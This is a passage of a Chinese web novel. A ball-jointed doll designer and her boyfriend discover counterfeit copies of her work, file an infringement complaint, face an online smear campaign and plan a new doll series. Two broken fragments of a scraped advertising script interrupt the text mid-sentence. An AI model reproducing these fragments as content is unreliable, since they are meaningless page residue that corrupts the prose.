“有啊，”花清漓拿起货架上一只睡衣小新拍拍灯道，“我想把刚才看到的那片山谷的情况，用拟人的方式设计成人偶形象。到时候我会在商品详情页标注上灵感来源，再把那个山谷的现貌照片贴上去。如果看到的人多的话，说不定那里的环境可以得到改善。这样一来不是挺好的吗？” 52.52 沈确听完，笑了一声道：“你难得这么善良。其实还是为了新品的宣传吧？” “不可以吗？”花清漓把玩着手里的拍拍灯反驳道，“做好事和替自己的项目造声势不冲突吧！这又不是什么伤天害理的事，何乐不为呢！我本意只是想宣传自己设计的人偶，又不是为了宣传那片被污染的山谷。谁知道那附近的化工厂是不是合法排污呢。如果不是，正好可以趁这个机会让人关注到这里的问题。说不定这样一来，以后这片山谷会恢复如初也说不定。如果是的话那我也不好说什么了。我只是做了一个玩具，灵感来源正好是那片山谷。没有指名道姓地说什么其它的，他们也拿我没办法。你说呢？” “我说不过你。”沈确夺过花清漓手里的拍拍灯，“这个，也给你买了。” “哇哦～沈少爷就是大方！”花清漓毫不吝啬地夸赞道。 “少贫！”沈确被夸得很开心，拿着花清漓挑好的几样玩具去结账。 结过账，两人又去隔壁的人偶店里逛。 只是没想到在这里看到了自家的盗版人偶。 花清漓走到展柜前，仔细观察着展柜里的盗版人偶。 这几只人偶仿制的是她在D社做的最后一个人偶——六翼天使。 只是这橱窗里的“六翼天使”，一眼就能看出是盗版人偶。不论从妆面的绘制，还是人偶服装所用的布料都不如原版精致。 沈确站在花清漓身旁，看着橱窗里的人偶，道：“咱们问问老板，这是哪家娃社出的人偶。” 花清漓没有应声，而是拿出手机拍下了橱窗里的人偶。随后在购物软件中识图寻找，很快锁定了几家网店。 除了有花清漓从前授权过的代理社，只有一家名为AngelDoll的盗版人偶社在贩卖展柜里这款人偶。全套的价格竟然只需区区一千块左右。质量更是肉眼可见地差劲。 “找到你了。”花清漓露出一个嘲讽的笑，盯着手机屏幕上的店铺信息思考着对策。 沈确看了一眼这家代理社的名字，问花清漓：“这家你们以前合作过吗？” 花清漓打开手机上的工作日志搜索后发现并没有这家代理社。她小声道：“没有合作过。这家可能是和盗版他们社直接合作的关系。店也是新开的，看来是个外行。如果不是……” 最后的话花清漓并没有说出口，但沈确已经猜到了她的想法。 “如果不是，那就是故意助纣为虐的。先要求这家社下架吧，如果被拒绝我们再拟律师函。”沈确压低了声音道。 “我也这么想。”花清漓道，“但我们得先把律师函拟好再说，不然直接私他们官方微博之类的可能会被直接拉黑。那样一来麻烦的只会是我们自己。” “嗯，我帮你请律师。你再拍几张存证据吧。”沈确提议道。 花清漓正好也有这个想法。她二话不说举起手机把橱窗里的盗版玩偶都拍了下来。 “先回去再说吧。”花清漓收起手机，挽住沈确的胳膊离开了人偶店。 两人回到车上，花清漓抱着新买的咸鱼小新抱枕叹气道：“今天真失望。” “没办法，看来今天不适合出来玩。”沈确发动车子附和道。 花清漓抱着咸鱼小新抱枕靠在车窗边，拿出手机找到了刚才那家盗版人偶社的官方微博。微博是刚开通不久的是一个只有几百粉丝的企业认证号，但购物平台的官店竟然还有26万的粉丝。 果然是这家，整个娃圈知名的盗版娃社。她翻了翻店铺里正在贩售的所有人偶，每一个娃娃的身上都有别家娃社的影子。 最让她破防的是，她在其中看见了自己去年为D社万圣节设计的4分提灯幽灵！这是花清漓这么多年来设计的第一个萝莉型的人偶，用绷带做成的连衣裙和复古英伦风的手提灯、蓝色的水母头假发被抄得一样不落！但每一个方面的工艺都十分粗糙。而且，这些贩售页面上还挂着她本人名字，还大言不惭地造谣表示她曾经授权给这家盗版娃社！ 花清漓都要被气笑了！ “有病吧！”花清漓捧着手机只觉得好笑。 沈确拿过花清漓的手机看了一眼上面的详情页，道：“是最近新开的盗版专卖网店，不止盗版了你一个人的设计，还有不少国外人偶社的四六分体人偶。除了粘土人偶之外，更多的是别家娃社的树脂人偶。打着官方授权销售渠道的招牌，实际买的一直都是自家的盗版产品。” “真无语，我竟然现在才发现。”花清漓翻了个白眼收起手机，转身就走。 今天真是晦气。 两人回到家，花清漓一进门就直奔电脑桌前，翻出了那家盗版人偶社的官方微博。 发现一些新品上架通知的微博下方，还有不少助纣为虐的玩家提议让他们模仿哪个正版人偶社的人偶做新品。这家官方竟然在微博上大言不惭地表示“包在我身上”。 花清漓都气笑了。 沈确走进厨房给花清漓倒了杯水回来，在她身旁坐下，陪她一起看微博上的消息。 “我觉得今年才是我的本命年才对，怎么这么倒霉。”花清漓骂骂咧咧地打开ali网站，检查了一遍自己曾经上传认证的所有原创设计草图稿和成品图，以及当时存档的有日期的视频。与版权登记的一样。 一直以来，花清漓所设计的所有人偶在正式发售前都会进行版权登记。 接着，她又把自己在各个公开平台宣发时所用的带网址的实名认证账号截图作为证据上传，还有她自己的身份证正反面照片也一并上传。 然后点击申请页面下方的文本下载知识产权投诉授权委托书。至于其它文件，花清漓一一按要求填写，可由于当下的她有些心烦意乱，一连提交的四次申请都因文件链接错误或其它原因被驳回。 气得花清漓把手机一扔叫来沈确：“沈确，快来救我。我感觉我要被气死了——” “来了来了！”正在厨房准备做晚饭的沈确听到花清漓的叫唤连忙停下手里的活上前听候差遣。 “帮我根据驳回要求填这个文件，我来说你来填。我现在气得都不会打字了！”花清漓指着屏幕上的网 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 页对沈确道。 “行，你说。”沈确在花清漓身旁坐下，将电脑移到自己面前开始一边听花清漓阐述，一边把她的话誊进附加文件中。 “理由：1.未授权，该人偶已投入商品生产，生产厂家为Doll Workshop，且授权OAK橡木匣代理人偶社进行代理销售。2.该人偶原版的＇萝卜素体''具有独创性，已申请版权。此链接为抄袭盗版仿冒。所以进行投诉，请平台查明后处理。图片证明处贴上我刚刚截的那张盗版店铺产品详情图，我在上面用了红笔标注抄袭的元素。再贴一张我的原版设计稿和商品上架后的详情页图片。”花清漓说完了一连串需要做的事，烦躁地抬手抓了抓头发。 这只针对这一个平台。其它平台上不知道能不能处理。 “还得请个律师来替我拟著作权权属、侵权纠纷方面的东西。真是烦死了，气死我了。”花清漓起身坐在了沙发上，随手捞过沙发上的一只抱枕发泄式地狠狠锤打了几下。 沈确替花清漓填写完申请材料并成功提交后，转身抬手拍了拍花清漓的腿安慰道：“好了好了，材料已经提交完成了。律师的事我会帮你找一个靠谱的过来。” “唉。”花清漓有气无力地窝在沙发上，满脸疲惫地看向沈确幻想道：“我颈椎好痛，腰也痛，肩膀也痛，手腕也痛。我是不是要死了。我还没有变成富婆呢，我还不想死。我好想赚很多很多钱，然后买一个大房子，把家里的所有电器都换成人工智能的那种。啊～然后我不开心的时候就找几个帅哥给我按摩来哄我开心……” “你说什么？”坐在一旁听她发牢骚的沈确在听到最后几句话的时候气得直接跳了起来，“你有没有良心啊？花清漓？好歹我现在是你男朋友，你居然当着我的面说你想要找别的男人来给你按摩？不是，你有没有把我这个男朋友放在眼里？诶，这些事我身为你的男朋友我都可以做啊，为什么要找别的男人？不就是按摩吗，我也会！” 沈确二话不说把花清漓从沙发上抱了起来。 “你干嘛？”花清漓惊呼一声，下意识地环住了沈确的脖子。 “不是想让我给你按摩吗，当然可以！”沈确抱着花清漓，还故意颠了她一下，迫使她抱紧了自己。两人的身体紧密地贴在一起。 沈确单手托着花清漓的大腿抱着她，朝房间里走去。 “不是，沈确，你给我按摩在沙发上不可以吗，干嘛一定要进房间。”花清漓抗议道。 沈确将花清漓放在床上，转而故意欺身压了上去。 “走开！你重死了！”花清漓奋力抵抗着沈确。 沈确轻笑了一声，支起身坐在花清漓身旁对她道：“乖乖趴着吧，不是说颈椎痛吗，我给你按按。” 花清漓听完沈确的话，换了个舒服点的姿势趴下。 沈确见她趴好，顺手收走了她的手机。眼看花清漓就要伸手来抢，沈确又一把将人给按了回去，“乖乖趴着，不许玩手机。不然明天你来做饭。” 听到要她做饭，花清漓终于收起手机乖乖趴下。 53.53 次日，花清漓被一连串的电话铃声吵醒。 她接通电话后，对面就传来烟烟惊慌失措的声音：“Evelyn，快点打开微博热搜！有人投诉我们说我们店出售伪劣人偶！真是可恶死了！” 什么？花清漓一瞬间没了睡意，一个挺身从床上坐了起来。一连串的动作把身旁的沈确也吵醒了。 沈确一睁开眼就看见花清漓翻身下床冲到了电脑前，一副撸起袖子准备随时干架的样子。刚刚电话里烟烟的话他也听了个大概，干脆起身去给花清漓做早餐。 花清漓打开电脑登上微博，果然看见热搜之中有一条“知名BJD人型师背刺原创，公然授权盗版娃社贩售盗版”。不用说都知道说的是她。这一切都只因帖文中附带了花清漓个人微博的截图，虽然打了马赛克，但眼尖的网友很快就将她的微博扒了出来。此时花清漓的微博下方充满了质疑和辱骂的评论。 “他爹的，下手真快。”花清漓翻了一眼微博下方的评论忍不住骂道。除却部分被当枪使的网友，还是有一大部分作为花清漓多年的忠实顾客，了解花清漓为人处事的风格，因此一直在替她辩解。 花清漓随便点进一个辱骂自己的网友的账号主页，发现这家伙的账号纯属水军。账号昵称是一串数字英文夹杂的乱码，主页里也都是各种广告或文案的转发。 一连翻了几个账号，情况都差不多。其它的花清漓也懒得再翻。反正等平台上的申诉通过后，那家盗版专卖网店立刻就会被封。今天联系好的律师就能把律师函发过去。 花清漓在工作群里发了条公告，让大家先不要管网上的舆论，继续专注工作室目前接手的项目，其他的事她自己会配合律师处理。 林月明和虞归晚各自将最近新画的人偶设计稿传给了花清漓。在看过两人的设计稿后，花清漓给两人单独提了几个修改意见，每一个都正中要点。林月明与虞归晚两人收到花清漓的意见，全都回去修改。 处理完工作上的事，花清漓换了身衣服前去洗漱。 她捧着手机从房间出来时，沈确已经将早饭做好在餐桌旁等她吃早餐了。 “热搜我看到了，”沈确将一碗虾仁玉米粥放在她面前，将一只蜡笔小新勺子塞到她手里，“会有点烫，慢点吃！” 花清漓放下手机，接过沈确手里的勺子开始吃早餐。 沈确顺便给她倒了杯温水放在手边，接着刚才的话问她：“联系律师了吗？” “必须的。”花清漓一边吃一边回答道。 沈确在花清漓对面坐下，道：“我们还是发现得太晚了。早一点告就不会被他反咬一口说我们授权让他贩售我们家的的瑕疵人偶。本来就是盗版，竟然还能这么不要脸。” “没事，这种官司以前我在D社打过，一样的情况。他们嚣张不了多久了，还要赔我好几十万呢！还有可以让他们永远闭店。毕竟我的律师跟我说，这次告他家的，不止我们一家人型社。我们每一家的证据都很充分，还有一家国外的人型社也知道这事，他们家也被山寨了。国外这家是一对双胞胎艺术家姐妹开的人偶品牌店，她们可不会放过他。”花清漓看着手机消息道。 “是吗？那就好。”沈确没有再多说什么，低下头继续用餐。 花清漓翻了翻手机，发现自己的微信通讯录多了一个好友申请。点开一看，竟然是环保局的工作人员，目的是为了咨询那个桃花谷的近期的环境问题。 花清漓通过了环保工作人员的联系人申请，在与工作人员的沟通下，详细描述了那个桃花谷的位置信息，并提及上次在社交平台上看到附近近几年建了化工厂一事。看到她说附近建了化工厂，工作人员很快反驳说并没有批准那附近的任何化工厂建设许可，他们会立刻展开调查并视情况下令让那家化工厂停工。 对方询问完详细情况，还提出给花清漓发一笔奖金。花清漓婉拒了。 放下手机，花清漓看向沈确道：“我有一个想法，我准备把那片山谷的环境拟人，设计成人偶的造型，然后上架！我可以设计一整个系列，我已经有想法了！我的平板！” 她说着，起身就要进房间去找平板，结果被我沈确拽了回来，“乖乖吃早餐，我去给你拿。” “哦。”花清漓没有拒绝，坐回位置上继续吃早餐。 不一会儿，沈确拿着花清漓的平板从房间里走出来递给她。 看到自己的平板，花清漓三两下将碗里的粥吃干净，随后将碗一把推开伸手去接沈确手里的平板。 沈确看着花清漓埋头苦干的样子，上前收拾了她吃完的碗筷转身走近厨房去清洗。 花清漓握着apple pencie埋头绘画着设计图，神色专注。 对于那片山谷拟人的想法，花清漓决定用人偶的素头和造型来着重表达。 首先就是人偶素头的设计。花清漓的想法是，把人偶素头的口鼻部分，做成秃鹫的喙。至于人偶的肤色，就做成青灰色，然后用黑灰色粉来上体妆。服装方面的设计风格，花清漓决定参考中世纪的欧洲当时最常见的“鸟嘴医生”的标志性造型作为基础来设计。 花清漓窝在沙发上画设计稿，沈确也不好打扰她，干脆换了衣服去工作室上班。 待沈确离开，家里只剩下花清漓一人的时候，她随手在工作群里发起了语音聊天，把大家都叫来讨论新人偶的生产问题。 “这是我刚刚画好的草图，只是个概念草稿，画得比较简单，我给大家简单说一下设计要点。”花清漓将手里的平板举到手机镜头前，开始给大家描述自己的设计思路：“首先这个人偶，我打算一男一女各做一体。男体我们做72厘米，女体做60厘米。这个是3分尺寸含头的一个素体的身高。然后就是素体的重点在于面部，我这次打算做的是飞脸体，也就是说，这套人偶的脸部是可以替换的。我们要做一个正常三分脸模和秃鹫喙的这个脸模。为了能够进行完美的脸部替换，所以我们在素体面部的基础设计上，要把这两个脸膜结合在一起。也就是说，底下我们做这个正常三分的人偶脸模，在表面再加上一层可拆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卸的秃鹫喙脸膜。安装方式还是一如既往用那个双面磁铁。” “好的。”作为建模师的Esiason和Gwen异口同声地应下。 “然后烟烟和Gwen你们俩，在这个人偶的服装设计上，我们参考中世纪的欧洲当时最常见的“鸟嘴医生”的标志性造型作为基础来设计。给人偶的造型配一个那个……”花清漓思考了片刻，才继续补充道：“配饰方面，加一个手杖或者那种复古的手提灯。这两种都可以，到时候我们做出来让买家自行加购。” “明白！”烟烟朝着镜头比了个OK的手势。 “那行，别的没什么事，散会吧！那个我设计图画好了就发你们啊，然后烟烟你这两天去那个面料市场去买一点那种黑色的皮革回来做这两只人偶的官服。”花清漓嘱咐道。 “明白！”烟烟说完先行下线，在群里发了一句“去面料市场挑面料”后就暂时没了消息。 花清漓在群里@了Gwen，让她陪烟烟一起出去采购。收到任务的Gwen在群里回了个“出发”表情包后便没有再说话。 随后，花清漓又在群里@了虞归晚和林月明两个人型师，让她们把最近做的人偶给自己过目。然后讨论正式在店内上架的相关事宜。 首先发过来介绍视频的是林月明，这次她做的是一只小宠。只有巴掌大小的蛋壳姑娘。小宠一般不上架，而是作为满减活动的赠品随订单一起发货。 “很可爱的蛋壳姑娘。下次要不要尝试做6分人偶？”花清漓给林月明发语音道。 收到语音的林月明很快回复了一个“可以试试”的表情包。 随后，花清漓去看了虞归晚发来的是一只四分特体人偶。名字叫“青竹”，说是灵感来源于竹林和竹叶青。她在人偶的素体上绘制了竹叶青蛇纹身，同时将一件墨绿色的绣花旗袍作为人偶的造型服装。 具虞归晚所说，这只人偶从素体到造型的服装和配饰，都是她亲力亲为。唯有妆面是由烟烟帮忙设计的。 “非常好，”花清漓再次发语音对虞归晚道，“那个，你这只人偶准备一下，然后月底上架。宣传方面让Una、Mavis、Freemon他们三个帮你一起搞，你就说是我安排的，让你们的作品先上架。然后我设计的那款月底看流水再说。” 虞归晚回了个“好”，没有再说话。 花清漓为了避免不必要的麻烦，先把虞归晚、林月明两人的设计发在了群里，并告诉大家先准备上架虞归晚的四分特体人偶“青竹”，并且为她同样设立了首发满减活动。林月明设计的“蛋壳姑娘”小宠则作为本次新品满减活动的赠品，随订单一起发货。并且，这一次“青竹”的开仓，限量四十体，活动期间每一只都会附赠一只“蛋壳姑娘”。至于到时候新品前瞻直播，让虞归晚和林月明两人作为主播自己上镜去给玩家进行讲解。 安排完一系列的工作，花清漓疲惫地放下手机摊在沙发上休息。 终于在两周后，花清漓收到了盗版人偶社支付的侵权赔偿款。